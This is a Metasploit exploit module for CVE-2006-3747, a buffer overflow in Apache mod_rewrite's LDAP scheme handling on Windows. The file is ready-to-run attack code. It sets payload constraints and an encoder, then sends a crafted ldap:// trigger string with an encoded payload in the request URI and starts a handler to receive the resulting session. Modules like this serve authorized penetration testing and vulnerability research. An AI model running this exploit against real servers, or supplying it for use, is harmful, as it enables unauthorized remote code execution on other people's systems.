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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Apache Module mod_rewrite LDAP Protocol Buffer Overflow',
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        'Description' => %q{
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          This module exploits the mod_rewrite LDAP protocol scheme handling
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          flaw discovered by Mark Dowd, which produces an off-by-one overflow.
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          Apache versions 1.3.29-36, 2.0.47-58, and 2.2.1-2 are vulnerable.
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          This module requires REWRITEPATH to be set accurately. In addition,
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          the target must have 'RewriteEngine on' configured, with a specific
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          'RewriteRule' condition enabled to allow for exploitation.
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          The flaw affects multiple platforms, however this module currently
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          only supports Windows based installations.
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        },
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        'Author' => 'aushack',
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        'References' => [
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          [ 'CVE', '2006-3747' ],
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          [ 'OSVDB', '27588' ],
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          [ 'BID', '19204' ],
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          [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2006-07/0514.html' ],
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          [ 'EDB', '3680' ],
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          [ 'EDB', '3996' ],
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          [ 'EDB', '2237' ]
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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          'AllowWin32SEH' => true
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        },
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        'Privileged' => true,
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        'Platform' => ['win'],
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        'Payload' => {
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          'Space' => 636,
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          'BadChars' => "\x00\x0a\x0d\x20",
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          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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          'StackAdjustment' => -3500,
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          'DisableNops' => true,
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        },
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        'Targets' => [
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          [ 'Automatic', {} ], # aushack tested OK 20090310 win32
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        ],
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        'DisclosureDate' => '2006-07-28',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('REWRITEPATH', [true, "The mod_rewrite URI path", "rewrite_path"]),
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      ]
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    )
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  end
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  def check
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    res = send_request_raw({
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      'uri' => '/',
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      'version' => '1.1',
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    }, 2)
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    if (res.to_s =~ /Apache/) # This could be smarter.
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      return Exploit::CheckCode::Detected
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    # On Linux Apache, it is possible to overwrite EIP by
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    # sending ldap://<buf> ... TODO aushack
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    trigger = '/ldap://localhost/%3fA%3fA%3fCCCCCCCCCC%3fC%3f%90'
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    print_status("Sending payload.")
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    send_request_raw({
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      'uri' => normalize_uri(datastore['REWRITEPATH']) + trigger + payload.encoded,
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      'version' => '1.0',
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    }, 2)
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    handler
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  end
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end
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